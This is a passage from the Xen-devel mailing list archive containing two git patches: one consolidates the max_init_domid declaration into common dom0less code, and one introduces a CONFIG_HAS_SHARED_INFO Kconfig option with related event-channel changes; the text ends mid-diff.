Message-ID: <7dac805d42b3adb6df3cdd1c2be4f0e511f30439.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784563219-F4C0777B-0E330D7F/10/73395122804
X-purgate-type: spam
X-purgate-size: 5823

Until now every architecture carried its own notion of max_init_domid:
Arm defined a real variable (declared in asm/setup.h, defined in
setup.c), while ppc, riscv and x86 each provided a "#define
max_init_domid (0)" stub in their asm/setup.h. This duplicated the same
declaration across all arches and placed a purely dom0less concept in
arch setup headers.

Now that the dom0less build code lives in common (xen/common/
device-tree/dom0less-build.c sets max_init_domid, and the console
serial-input switcher reads it), there is no reason for the symbol to be
per-arch. Provide a single declaration in <xen/dom0less-build.h>, with
the !CONFIG_DOM0LESS_BOOT stub kept there as well, so there is one source
of truth and the arch headers no longer need to mention it. Update
console.c to include <xen/dom0less-build.h> for the declaration instead
of relying on asm/setup.h.

Place the definition in xen/common/domid.c rather than in dom0less-
build.c. The latter is built as dom0less-build.init.o, i.e. the whole
object is relocated into the .init.* sections and freed after boot,
whereas max_init_domid must outlive boot because it is read at runtime
by the console serial-input switcher. domid.c is always linked (obj-y)
and resides in regular (non-init) sections, so it is a correct home for
the variable. It is marked __ro_after_init since it is only updated
while creating boot-time domains and read-only afterwards, and guarded
by CONFIG_DOM0LESS_BOOT as domid.c itself is unconditional.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Reviewed-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v6:
 - Nothing changed. Only rebase.
---
Changes in v5:
 - Add Reviewed-by: Jan Beulich <jbeulich@suse.com>
---
Changes in v4:
 - New patch.
---
---
 xen/arch/arm/include/asm/setup.h   | 2 --
 xen/arch/arm/setup.c               | 2 --
 xen/arch/ppc/include/asm/setup.h   | 2 --
 xen/arch/riscv/include/asm/setup.h | 2 --
 xen/arch/x86/include/asm/setup.h   | 2 --
 xen/common/domid.c                 | 5 +++++
 xen/drivers/char/console.c         | 1 +
 xen/include/xen/dom0less-build.h   | 7 +++++++
 8 files changed, 13 insertions(+), 10 deletions(-)

diff --git a/xen/arch/arm/include/asm/setup.h b/xen/arch/arm/include/asm/setup.h
index 0adfa4993a8f..2af780512540 100644
--- a/xen/arch/arm/include/asm/setup.h
+++ b/xen/arch/arm/include/asm/setup.h
@@ -25,8 +25,6 @@ struct map_range_data
     struct rangeset *irq_ranges;
 };
 
-extern domid_t max_init_domid;
-
 void copy_from_paddr(void *dst, paddr_t paddr, unsigned long len);
 
 size_t estimate_efi_size(unsigned int mem_nr_banks);
diff --git a/xen/arch/arm/setup.c b/xen/arch/arm/setup.c
index 6310a47d68b6..86532d0a35b6 100644
--- a/xen/arch/arm/setup.c
+++ b/xen/arch/arm/setup.c
@@ -62,8 +62,6 @@ struct cpuinfo_arm __read_mostly system_cpuinfo;
 bool __read_mostly acpi_disabled;
 #endif
 
-domid_t __read_mostly max_init_domid;
-
 static __used void noreturn init_done(void)
 {
     /* Must be done past setting system_state. */
diff --git a/xen/arch/ppc/include/asm/setup.h b/xen/arch/ppc/include/asm/setup.h
index e4f64879b68c..956fa6985adb 100644
--- a/xen/arch/ppc/include/asm/setup.h
+++ b/xen/arch/ppc/include/asm/setup.h
@@ -1,6 +1,4 @@
 #ifndef __ASM_PPC_SETUP_H__
 #define __ASM_PPC_SETUP_H__
 
-#define max_init_domid (0)
-
 #endif /* __ASM_PPC_SETUP_H__ */
diff --git a/xen/arch/riscv/include/asm/setup.h b/xen/arch/riscv/include/asm/setup.h
index 2215894cfbb1..73ce2f293348 100644
--- a/xen/arch/riscv/include/asm/setup.h
+++ b/xen/arch/riscv/include/asm/setup.h
@@ -5,8 +5,6 @@
 
 #include <xen/types.h>
 
-#define max_init_domid (0)
-
 void setup_mm(void);
 
 void copy_from_paddr(void *dst, paddr_t paddr, unsigned long len);
diff --git a/xen/arch/x86/include/asm/setup.h b/xen/arch/x86/include/asm/setup.h
index b01e83a8ed9f..5925c5f39cff 100644
--- a/xen/arch/x86/include/asm/setup.h
+++ b/xen/arch/x86/include/asm/setup.h
@@ -68,6 +68,4 @@ extern bool opt_dom0_verbose;
 extern bool opt_dom0_cpuid_faulting;
 extern bool opt_dom0_msr_relaxed;
 
-#define max_init_domid (0)
-
 #endif
diff --git a/xen/common/domid.c b/xen/common/domid.c
index b0258e477c1a..cd46cf952be6 100644
--- a/xen/common/domid.c
+++ b/xen/common/domid.c
@@ -9,6 +9,11 @@
  */
 
 #include <xen/domain.h>
+#include <xen/dom0less-build.h>
+
+#ifdef CONFIG_DOM0LESS_BOOT
+domid_t __ro_after_init max_init_domid;
+#endif
 
 static DEFINE_SPINLOCK(domid_lock);
 static DECLARE_BITMAP(domid_bitmap, DOMID_FIRST_RESERVED);
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index ea4e3ff34178..4c735cc04c67 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -31,6 +31,7 @@
 #include <xen/warning.h>
 #include <xen/pv_console.h>
 #include <asm/setup.h>
+#include <xen/dom0less-build.h>
 #include <xen/sections.h>
 #include <xen/consoled.h>
 
diff --git a/xen/include/xen/dom0less-build.h b/xen/include/xen/dom0less-build.h
index 4118dec76c0a..8d4da16d1f0a 100644
--- a/xen/include/xen/dom0less-build.h
+++ b/xen/include/xen/dom0less-build.h
@@ -5,6 +5,8 @@
 
 #include <xen/stdbool.h>
 
+#include <public/xen.h>
+
 struct domain;
 
 #ifdef CONFIG_DOM0LESS_BOOT
@@ -13,6 +15,9 @@ struct boot_domain;
 struct dt_device_node;
 struct kernel_info;
 
+/* Highest domain ID assigned to a boot-time (dom0less) domain. */
+extern domid_t max_init_domid;
+
 /*
  * List of possible features for dom0less domUs
  *
@@ -72,6 +77,8 @@ static inline bool is_dom0less_mode(void)
 }
 static inline void set_xs_domain(struct domain *d) {}
 
+#define max_init_domid 0
+
 #endif /* CONFIG_DOM0LESS_BOOT */
 
 #endif /* __ASM_GENERIC_DOM0LESS_BUILD_H__ */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366947.1616737 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPj-0004E7-Rj; Mon, 20 Jul 2026 16:00:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366947.1616737; Mon, 20 Jul 2026 16:00:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPj-0004E0-Of; Mon, 20 Jul 2026 16:00:19 +0000
Received: by outflank-mailman (input) for mailman id 1366947;
 Mon, 20 Jul 2026 16:00:18 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPi-00041M-2Q
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPh-00GLIp-8E
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:17 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460c-5cb7-0a2a0a5109dd-0a2a450887e0-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:17 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4611-f659-0a2a45080019-d155dd33dd9b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:17 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47f7854678cso512791f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:17 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.15
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563217; x=1785168017; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=u0tVfRurSQlJB30p9PK7u+3dBQjjBEmfhYIggxhj1ck=;
        b=Wag4V7CTo/QnxU54XXoEPpWt+ts5zQ5zTQiLCs60UH1jKJIEmfPjSaHDwFP7mCiA0R
         jmP1E12XyOe545bNX7jyFkj6Pp9mHQgdISFSTHNVpVQKRwGJ6kcgvucJh48TOkCRTViX
         yZYECJQ5wh2dA812nqRt/s/VJkMzAsM7M9CAjmz8CS+GftDkKs+UIPFc0paMdgJppth4
         W9hllHNQUVjVIUtGzwZF7DeZfVs58ajI8seGuP4RDdsR0XuoEtbj3V+0x3CfBNyjR+Jm
         ZryLn2d6W6k/rTffvibYYD5wHzC9Zgg0MnV305+oiUVppcHV6+/6xY/tm2NU2mI7nT0y
         5Zsw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563217; x=1785168017;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=u0tVfRurSQlJB30p9PK7u+3dBQjjBEmfhYIggxhj1ck=;
        b=nuJZmetznlN4FDTKABjLoFlLbBS06gnddtwinTRIJ2voMzut2o9WGjrzurlhU7PXd0
         b0mQlGK+D3JhNQTnHe/yFyhhcXRK4wQts1213Uc/sTYWVp5UUDwjFOD2JjXEVVvzjv4a
         +VztzxxLnZmRh+EpUumD9gs51DjiX6e53MIDyHZSXzOln6RpxzxNxmVOxEFYND/2X2pm
         WAfyCRYvqhbtsKxSJiZSUT7BKcMP/dYjZoF5QV8wgFGpTXA61+SmT1Cy9y1Vzg3vPi39
         TYmhXJCJIK2bPXKEG6MLcsXsZP3Se3MCTAt6bWBEUsKnZQhis8ywW9+nx3CFo38JqFvc
         lczw==
X-Gm-Message-State: AOJu0Yx2bJ0Z3QGtgffYAE0s9dkmwP/Jh4NB1KhJLQ8+jDxNROVV9I4+
	SAChLXQP53BY2z8rnAkX9kerzBqSCZM5gwwiLpcB6kwU7/S/ALRwhfopZ+NGdg==
X-Gm-Gg: AR+sD10FIt7FUkqkPHeqffB+30JfGGksOha5ZMdcKXTLvAE8JgDwoS4vN3HdVbXwheN
	Z9FvF+uGa6zgXzRA+OdtmmZCgfSty/9FtRFfF2EWhhD9x1NOaNhpqe/Crr1lOZ7gMfQbrVjuJDE
	RQSuFxHXUhthQyhMviGbetN+edzawrLyLikk1YAFrVXYlFmcor08riRpIG7hlFaqMjo/gDw74pF
	KEijXZ3S77z2oVfYDm/bAza3z9X63cLB3hs90EqAqxUMhkVUmaOJhgK9+KbI8iE4Mh+Bg/0557o
	vQqZBp4UetupoKPF9WoYT5GLWJ/TGN3tnj/Drz6MoBhKdEyv9bZ34JV+nrNEkO8UCVBjOTiO+Zp
	Js87HwnIi3XPNyZk6t/PvzLzYtie5QalkSrSUG2JUK3qx8ogPdXJcmIvhUyhAgB1PvuoiPB/eFR
	Wo/tvwiP8zUFldQLov2GBafI/QR8EvGZ3dQ+HPr59t5IZh4+E=
X-Received: by 2002:a05:6000:18af:b0:47f:539f:9f82 with SMTP id ffacd0b85a97d-47f6232240dmr17669275f8f.39.1784563216343;
        Mon, 20 Jul 2026 09:00:16 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v6 01/23] xen: introduce CONFIG_HAS_SHARED_INFO for archs without a shared page
Date: Mon, 20 Jul 2026 17:59:42 +0200
Message-ID: <01df5be27b502a19dd51ded7577af68cee234c58.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784563217-CFED287B-D0C5046F/10/73395122804
X-purgate-type: spam
X-purgate-size: 17604

On architectures that run guests in dom0less mode without the PV ABI
(currently RISC-V), no shared_info page is allocated and d->shared_info
remains NULL throughout the domain lifetime.  Several places in common
code access d->shared_info through the shared_info() macro or directly,
causing UBSAN null-pointer errors on such architectures.

Rather than adding runtime NULL guards that are logically unreachable
on x86 and Arm (where shared_info is always allocated), introduce a new
Kconfig symbol CONFIG_HAS_SHARED_INFO selected by x86 and Arm.

On !HAS_SHARED_INFO the shared_info() macro expands to a dereference
of shared_info_absent, an extern pointer that is declared but
intentionally never defined.  Any use of shared_info() that is not
dead-code-eliminated will therefore cause a link-time failure, making
missed guards impossible to overlook.

The 2L event-channel ops call shared_info() and must not be compiled on
architectures without a shared_info page, so event_2l.o is gated on
CONFIG_HAS_SHARED_INFO.  On such architectures evtchn_init() installs the
FIFO ops as a placeholder instead, so that a later guest opt-in to the
FIFO ABI via EVTCHNOP_init_control has no special-casing to do; if FIFO
support itself is also unavailable (!CONFIG_EVTCHN_FIFO), a dedicated
no-op evtchn_port_ops_none table is installed instead, so that
d->evtchn_port_ops is never NULL.  evtchn_fifo_word_from_port() is
guarded against uninitialised d->evtchn_fifo so the FIFO ops are safe
before evtchn_fifo_init_control() is called by the guest.

With CONFIG_HAS_SHARED_INFO=n all vCPUs fall back to the global
dummy_vcpu_info, so writes through vcpu_info() could leak data between
vCPUs. Reviewing the write paths in common code: the write in
map_guest_area() stores the constant ~0 so nothing serious would happen
if it were leaked; the event_2l.c paths are not compiled on
!HAS_SHARED_INFO, as event_2l.o is gated on CONFIG_HAS_SHARED_INFO; the
write in vcpu_info_populate() targets the new mapping buffer, not
dummy_vcpu_info.

Outside common code, the remaining writes are x86 PV-specific, for which
CONFIG_HAS_SHARED_INFO=y. No code changes are needed.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
 - s/INVALID_GFN_RAW/gfn_x(INVALID_GFN) as INVALID_GFN_RAW was dropped.
 - event_channel.c: make evtchn_none_init() static, moving the
   evtchn_port_ops_none table and its definition above evtchn_reset(),
   their first caller; move the leftover prototype into the #else arm
   of the same #ifndef guard instead of leaving it as a free-standing
   non-static declaration.
 - event_channel.c: evtchn_reset() now follows the same
   IS_ENABLED(CONFIG_HAS_SHARED_INFO) / IS_ENABLED(CONFIG_EVTCHN_FIFO) /
   else cascade already used by evtchn_init(), rather than assuming the
   FIFO ABI is unconditionally available whenever d->evtchn_fifo was set.
 - event_channel.c: narrow the evtchn_port_ops_none / evtchn_none_init
   guard from !CONFIG_HAS_SHARED_INFO to
   !CONFIG_HAS_SHARED_INFO && !CONFIG_EVTCHN_FIFO, so the placeholder
   cf_check functions are only built for the one combination that
   actually needs them.
 - event_channel.c: fix the evtchn_port_ops_none comment, which claimed
   the ops were never reachable in practice; they are reached whenever
   an event is delivered to (or queried on) a
   !HAS_SHARED_INFO && !EVTCHN_FIFO domain, they just have no ABI to
   record it in and discard it.
 - event_channel.h / event_fifo.c: drop the static inline
   evtchn_fifo_init_ops() stub for !CONFIG_EVTCHN_FIFO; a plain
   declaration outside the #ifdef/#else is enough, matching the
   treatment already given to evtchn_2l_init() and evtchn_none_init().
   Update the "only call site" comment in event_fifo.c to mention both
   evtchn_init() and evtchn_reset().
---
Changes in v5:
 - drop the static inline evtchn_2l_init() stub for !HAS_SHARED_INFO;
   a plain declaration is enough since the only call sites are guarded by
   IS_ENABLED(CONFIG_HAS_SHARED_INFO) and the dead call is eliminated
   before linking.
 - fix a NULL d->evtchn_port_ops dereference when CONFIG_HAS_SHARED_INFO=n
   and CONFIG_EVTCHN_FIFO=n: evtchn_init() was unconditionally calling
   evtchn_fifo_init_ops(), whose !EVTCHN_FIFO stub leaves d->evtchn_port_ops
   unset.  Gate the FIFO branch on IS_ENABLED(CONFIG_EVTCHN_FIFO) and add
   a dedicated evtchn_port_ops_none table for the remaining case. Stubs
   are shared where signatures permit: evtchn_none_noop covers both
   clear_pending and unmask; evtchn_none_false covers both is_pending and
   is_masked. evtchn_none_init() is called only from event_channel.c, so its
   declaration is kept there rather than in event_channel.h.
 - gate evtchn_fifo_init_ops() on !CONFIG_HAS_SHARED_INFO;
   its only call site is in the IS_ENABLED(CONFIG_EVTCHN_FIFO) dead branch
   of evtchn_init(), which is never reached on HAS_SHARED_INFO=y builds.
---
Changes in v4:
 - event_channel.c: drop the redundant evtchn_fifo_init_ops() in the
   else branch of evtchn_reset(); evtchn_fifo_destroy() does not undo the
   ops installed by evtchn_init(), so only the switch back to 2-level ABI
   needs an explicit call.
 - shared.h: simplify the !HAS_SHARED_INFO shared_info() definition to use
   an undefined "extern struct shared_info *shared_info_absent" instead of
   shared_info_absent() with a typeof cast.
 - Extend the commit description to note that vcpu_info()/__vcpu_info()
   uses were also audited: on !HAS_SHARED_INFO vcpu_info_area.map points at
   dummy_vcpu_info, reads are harmless, and writes in common code do not
   open a cross-domain info-leak side channel, so no code changes are
   needed on that path.
---
Changes in v3:
 - Introduce CONFIG_HAS_SHARED_INFO Kconfig symbol selected by x86
   and Arm; RISC-V does not select it.
 - Gate shared_info() macro on CONFIG_HAS_SHARED_INFO; on
   !HAS_SHARED_INFO it calls shared_info_absent() (declared, never
   defined) so any unguarded use produces a link-time error.
 - Replace runtime if (!d->shared_info) guards with IS_ENABLED() at
   call sites so both branches type-check and dead code is eliminated.
 - Guard shared_info_frame assignment in domctl.c.
 - Gate event_2l.o on CONFIG_HAS_SHARED_INFO; use FIFO ops as
   placeholder on !HAS_SHARED_INFO archs instead of dedicated stub
   ops; guard evtchn_fifo_word_from_port() against uninitialised
   d->evtchn_fifo.
 - Add static inline stubs for evtchn_2l_init() (!HAS_SHARED_INFO)
   and evtchn_fifo_init_ops() (!EVTCHN_FIFO) so call sites can use
   IS_ENABLED() without #ifdef.
 - Drop inaccurate changelog entry about "only FIFO ABI" migration.
 - Update the commit message.
 - Drop R-by: Baptiste ... as some extra checks are added.
---
Changes in v2:
 - Update commit message + subject.
 - Drop Fixes tag.
---
 xen/arch/arm/Kconfig       |  1 +
 xen/arch/x86/Kconfig       |  1 +
 xen/common/Kconfig         |  3 +++
 xen/common/Makefile        |  2 +-
 xen/common/domain.c        |  6 ++---
 xen/common/domctl.c        | 11 +++++---
 xen/common/event_channel.c | 53 +++++++++++++++++++++++++++++++++++---
 xen/common/event_channel.h |  6 +++++
 xen/common/event_fifo.c    | 19 +++++++++++++-
 xen/common/time.c          |  2 ++
 xen/include/xen/shared.h   |  8 +++++-
 xen/include/xen/time.h     |  4 +++
 12 files changed, 104 insertions(+), 12 deletions(-)

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e7b..d748404e82da 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -20,6 +20,7 @@ config ARM
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
+	select HAS_SHARED_INFO
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
 	select HAS_UBSAN
diff --git a/xen/arch/x86/Kconfig b/xen/arch/x86/Kconfig
index 2ce4747f6ea7..49697b795259 100644
--- a/xen/arch/x86/Kconfig
+++ b/xen/arch/x86/Kconfig
@@ -29,6 +29,7 @@ config X86
 	select HAS_PCI_MSI
 	select HAS_PIRQ
 	select HAS_SCHED_GRANULARITY
+	select HAS_SHARED_INFO
 	imply HAS_SOFT_RESET
 	select HAS_UBSAN
 	select HAS_VMAP
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba8469..5b289e444fa5 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -158,6 +158,9 @@ config HAS_PMAP
 config HAS_SCHED_GRANULARITY
 	bool
 
+config HAS_SHARED_INFO
+	bool
+
 config HAS_STATIC_MEMORY
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e256147f..f69d47d18934 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -12,7 +12,7 @@ obj-$(CONFIG_DEVICE_TREE_PARSE) += device-tree/
 obj-$(CONFIG_IOREQ_SERVER) += dm.o
 obj-y += domain.o
 obj-y += domid.o
-obj-y += event_2l.o
+obj-$(CONFIG_HAS_SHARED_INFO) += event_2l.o
 obj-y += event_channel.o
 obj-$(CONFIG_EVTCHN_FIFO) += event_fifo.o
 obj-$(CONFIG_GRANT_TABLE) += grant_table.o
diff --git a/xen/common/domain.c b/xen/common/domain.c
index 53ac1d6c4034..af5b596f3893 100644
--- a/xen/common/domain.c
+++ b/xen/common/domain.c
@@ -316,9 +316,9 @@ void vcpu_info_reset(struct vcpu *v)
     struct domain *d = v->domain;
 
     v->vcpu_info_area.map =
-        ((v->vcpu_id < XEN_LEGACY_MAX_VCPUS)
-         ? (vcpu_info_t *)&shared_info(d, vcpu_info[v->vcpu_id])
-         : &dummy_vcpu_info);
+        IS_ENABLED(CONFIG_HAS_SHARED_INFO) && v->vcpu_id < XEN_LEGACY_MAX_VCPUS
+        ? (vcpu_info_t *)&shared_info(d, vcpu_info[v->vcpu_id])
+        : &dummy_vcpu_info;
 }
 
 static struct domain *alloc_domain_struct(void)
diff --git a/xen/common/domctl.c b/xen/common/domctl.c
index e30b38a337ac..0085b1777b40 100644
--- a/xen/common/domctl.c
+++ b/xen/common/domctl.c
@@ -102,9 +102,14 @@ void getdomaininfo(struct domain *d, struct xen_domctl_getdomaininfo *info)
 #ifdef CONFIG_MEM_PAGING
     info->paged_pages       = atomic_read(&d->paged_pages);
 #endif
-    info->shared_info_frame =
-        gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
-    BUG_ON(SHARED_M2P(info->shared_info_frame));
+    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+    {
+        info->shared_info_frame =
+            gfn_x(mfn_to_gfn(d, _mfn(virt_to_mfn(d->shared_info))));
+        BUG_ON(SHARED_M2P(info->shared_info_frame));
+    }
+    else
+        info->shared_info_frame = gfn_x(INVALID_GFN);
 
     info->cpupool = cpupool_get_id(d);
 
diff --git a/xen/common/event_channel.c b/xen/common/event_channel.c
index a3d18bc464e8..52dec4bb8931 100644
--- a/xen/common/event_channel.c
+++ b/xen/common/event_channel.c
@@ -40,6 +40,41 @@
 
 #define consumer_is_xen(e) (!!(e)->xen_consumer)
 
+#if !defined(CONFIG_HAS_SHARED_INFO) && !defined(CONFIG_EVTCHN_FIFO)
+/*
+ * Placeholder ops for domains with neither a shared_info page nor a FIFO
+ * control block (CONFIG_HAS_SHARED_INFO=n and CONFIG_EVTCHN_FIFO=n). Such
+ * a domain has no ABI to record event state in, so these are reachable
+ * whenever an event is delivered to (or queried on) one of its ports; they
+ * just discard/no-op it.  They exist to keep d->evtchn_port_ops non-NULL.
+ */
+static void cf_check evtchn_none_set_pending(
+    struct vcpu *v, struct evtchn *evtchn) {}
+static void cf_check evtchn_none_noop(
+    struct domain *d, struct evtchn *evtchn) {}
+static bool cf_check evtchn_none_false(
+    const struct domain *d, const struct evtchn *evtchn) { return false; }
+static void cf_check evtchn_none_print_state(
+    struct domain *d, const struct evtchn *evtchn) {}
+
+static const struct evtchn_port_ops evtchn_port_ops_none = {
+    .set_pending   = evtchn_none_set_pending,
+    .clear_pending = evtchn_none_noop,
+    .unmask        = evtchn_none_noop,
+    .is_pending    = evtchn_none_false,
+    .is_masked     = evtchn_none_false,
+    .print_state   = evtchn_none_print_state,
+};
+
+static void evtchn_none_init(struct domain *d)
+{
+    d->evtchn_port_ops = &evtchn_port_ops_none;
+}
+#else
+/* Declaration only; the calls below are DCE'd unless both configs are off. */
+void evtchn_none_init(struct domain *d);
+#endif /* !CONFIG_HAS_SHARED_INFO && !CONFIG_EVTCHN_FIFO */
+
 /*
  * Lock an event channel exclusively. This is allowed only when the channel is
  * free or unbound either when taking or when releasing the lock, as any
@@ -1323,9 +1358,15 @@ int evtchn_reset(struct domain *d, bool resuming)
         rc = -EAGAIN;
     else if ( d->evtchn_fifo )
     {
-        /* Switching back to 2-level ABI. */
         evtchn_fifo_destroy(d);
-        evtchn_2l_init(d);
+
+        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+            /* Switching back to 2-level ABI. */
+            evtchn_2l_init(d);
+        else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
+            evtchn_fifo_init_ops(d);
+        else
+            evtchn_none_init(d);
     }
 
     write_unlock(&d->event_lock);
@@ -1624,7 +1665,13 @@ void evtchn_check_pollers(struct domain *d, unsigned int port)
 
 int evtchn_init(struct domain *d, unsigned int max_port)
 {
-    evtchn_2l_init(d);
+    if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) )
+        evtchn_2l_init(d);
+    else if ( IS_ENABLED(CONFIG_EVTCHN_FIFO) )
+        evtchn_fifo_init_ops(d);
+    else
+        evtchn_none_init(d);
+
     d->max_evtchn_port = min_t(unsigned int, max_port, INT_MAX);
 
     d->evtchn = alloc_evtchn_bucket(d, 0);
diff --git a/xen/common/event_channel.h b/xen/common/event_channel.h
index dc94a43cc2dd..c8ee09807008 100644
--- a/xen/common/event_channel.h
+++ b/xen/common/event_channel.h
@@ -70,6 +70,12 @@ static inline void evtchn_fifo_destroy(struct domain *d)
 }
 #endif /* CONFIG_EVTCHN_FIFO */
 
+/*
+ * Declaration only when !CONFIG_EVTCHN_FIFO; the (dead) calls in
+ * evtchn_init() and evtchn_reset() are DCE'd in that case.
+ */
+void evtchn_fifo_init_ops(struct domain *d);
+
 #endif /* EVENT_CHANNEL_H */
 
 /*
diff --git a/xen/common/event_fifo.c b/xen/common/event_fifo.c
index 37cba9bc4564..b0acbc68d9ff 100644
--- a/xen/common/event_fifo.c
+++ b/xen/common/event_fifo.c
@@ -62,6 +62,9 @@ static inline event_word_t *evtchn_fifo_word_from_port(const struct domain *d,
      */
     smp_rmb();
 
+    if ( unlikely(!d->evtchn_fifo) )
+        return NULL;
+
     if ( unlikely(port >= d->evtchn_fifo->num_evtchns) )
         return NULL;
 
@@ -420,6 +423,19 @@ static const struct evtchn_port_ops evtchn_port_ops_fifo =
     .print_state   = evtchn_fifo_print_state,
 };
 
+/*
+ * evtchn_fifo_init_ops()'s only call sites are in the
+ * IS_ENABLED(CONFIG_EVTCHN_FIFO) dead branches of evtchn_init() and
+ * evtchn_reset(), which are never reached on HAS_SHARED_INFO=y builds
+ * because of DCE.
+ */
+#ifndef CONFIG_HAS_SHARED_INFO
+void evtchn_fifo_init_ops(struct domain *d)
+{
+    d->evtchn_port_ops = &evtchn_port_ops_fifo;
+}
+#endif
+
 static int map_guest_page(struct domain *d, uint64_t gfn, void **virt)
 {
     struct page_info *p;
@@ -562,7 +578,8 @@ static void setup_ports(struct domain *d, unsigned int prev_evtchns)
 
         evtchn = evtchn_from_port(d, port);
 
-        if ( guest_test_bit(d, port, &shared_info(d, evtchn_pending)) )
+        if ( IS_ENABLED(CONFIG_HAS_SHARED_INFO) &&
